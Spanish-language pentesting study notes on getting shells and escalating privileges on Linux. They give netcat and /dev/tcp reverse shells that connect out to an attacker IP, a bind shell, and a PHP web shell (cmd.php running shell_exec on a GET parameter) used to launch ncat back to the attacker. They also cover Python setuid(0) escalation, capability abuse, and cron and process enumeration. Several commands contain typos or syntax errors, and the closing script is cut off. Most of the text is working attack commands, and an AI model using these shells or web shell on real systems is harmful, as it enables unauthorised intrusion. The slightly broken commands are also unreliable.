Reverse shell
Bind shell
Fordward shell
Listar permisos
Capabilities
Procesos
Reverse shell
se establece una conexión desde la máquina comprometida hacia la máquina del atacante.
desde la maquina comprometida:
nc -nlvp 443
me pongo en escucha y luego lanzo el siguiente comando para recibir consola interactiva.
nc -e /bin/bash 192.168.1.16 443
bash -i >& /dev/tcp/192.168.1.16/443 0>1
Bind shell
Desde la maquina victima ejecutas un comando, abres un puerto de forma temporal
nc -nlvp 4646 -e /bin/bash
como atacante te conectas con ese puerto que has abierto
nc ipVictima 4646
Fordward shell
Si hay un firewall, para entrablar una rever shell, con named pipe y mkfifo pata conseguir una shell interactiva, sin usar tcp
iptables --flush
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 0:65535 - m ctstate NEW -j DROP
iptales -A OUTPUT -p tcp -m tcp -o eth0
Ahora me hago una shell en un script en php cmd.php
<?
echo "<pre>" - shell_exec($_GET['cmd']) . "</pre>";
?>
recargo
service apache2 restart
Si hay problemas entrar en
nano /etc/php/8.1/apache2/php.ini poner en on:
short_open_tag = on
que por defecto viene en off
service apache2 restart
si en el navegador pongo localhost/cmp.php?cmd= Aqui puedo ejecutar comandos
localhost/cmp.php?cmd=ncat -e /bin/bash 192.168.17.1 443
pongo la ip de la maquina victima. y en escucha por el puerto 443 en la url me pongo en escucha nc -nlvp 443 y ganaria acceso.
Listar permisos
Si ya estamos en una máquina pero como usuario no privilegiado y queremos saber que permisos tiene:
whoami
id
sudo -l
find -perm -4000 2>/dev/null
si como salida de ejecutar este comando veo que esta en el grupo de python, podria tener python instalado, simplemente al entrar en la consola de python, ya seria root y podria ejecurar comandos como root
python3.9
>>>impor os
>>>os.system ("whoami")
>>>h4nna
0
>>>os.setuid(0)
>>>os.system ("whoami")
>>>root
0
>>>os.system ("bash")
>>>os.system ("whoami")
si tubiera permisos s udi podria ejecutar coandos como root. en este caso no tenía.
Capabilities
getcap -r / 2>/dev/null
setcap cap_setuid+ep /usr/bin/python3.11
tambíen se podría mirar si se tienen permisos para ejecutar tareas cron
crontab -l
cat /etc/crontab
listar los timer
systemctl list-timers
Tambíen nos puede interesar ver comandos que repotan los procesos que se ejecutan y por quíen
ps -eo command
o podriamos ejecutarnos el siguiente script que me repota quien esta ejecutando cada proceso, actualizandose la variable de old preocess y new process, para salir hay que hacerlo con control +c
#!/bin/bash
function ctrl_c(){
echo -e "\n\n[!] Saliendo...\n"
exit 1
}
# Ctrl+C
trap ctrl_c SIGINT
old_process=$(ps -eo user,command)
while true; do
new_process=$(ps -eo user,command)
diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\>]" | grep -vE "command|procmon|kworker"
old_process=$new_process